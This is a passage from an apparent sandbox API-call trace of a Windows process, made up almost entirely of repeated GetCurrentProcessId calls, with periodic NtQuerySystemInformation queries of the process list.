0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.857] GetCurrentProcessId () returned 0xd70 [0100.857] GetCurrentProcessId () returned 0xd70 [0100.857] GetCurrentProcessId () returned 0xd70 [0100.857] GetCurrentProcessId () returned 0xd70 [0100.857] GetCurrentProcessId () returned 0xd70 [0100.857] GetCurrentProcessId () returned 0xd70 [0100.859] GetCurrentProcessId () returned 0xd70 [0100.859] GetCurrentProcessId () returned 0xd70 [0100.859] GetCurrentProcessId () returned 0xd70 [0100.859] GetCurrentProcessId () returned 0xd70 [0100.859] GetCurrentProcessId () returned 0xd70 [0100.859] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.860] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0100.861] GetCurrentProcessId () returned 0xd70 [0101.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be48) returned 0x0 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.820] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.821] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.822] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0101.823] GetCurrentProcessId () returned 0xd70 [0102.351] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be48) returned 0x0 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.358] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.359] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.360] GetCurrentProcessId () returned 0xd70 [0102.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be48) returned 0x0 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.925] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.926] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.927] GetCurrentProcessId () returned 0xd70 [0102.928] GetCurrentProcessId () returned 0xd70 [0103.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be48) returned 0x0 [0104.093] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be48) returned 0x0 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.100] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.101] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.102] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.103] GetCurrentProcessId () returned 0xd70 [0104.104] GetCurrentProcessId () returned 0xd70 [0104.104] GetCurrentProcessId () returned 0xd70 [0104.610] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be98) returned 0x0 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.697] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.698] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.699] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.700] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.701] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 0xd70 [0104.702] GetCurrentProcessId () returned 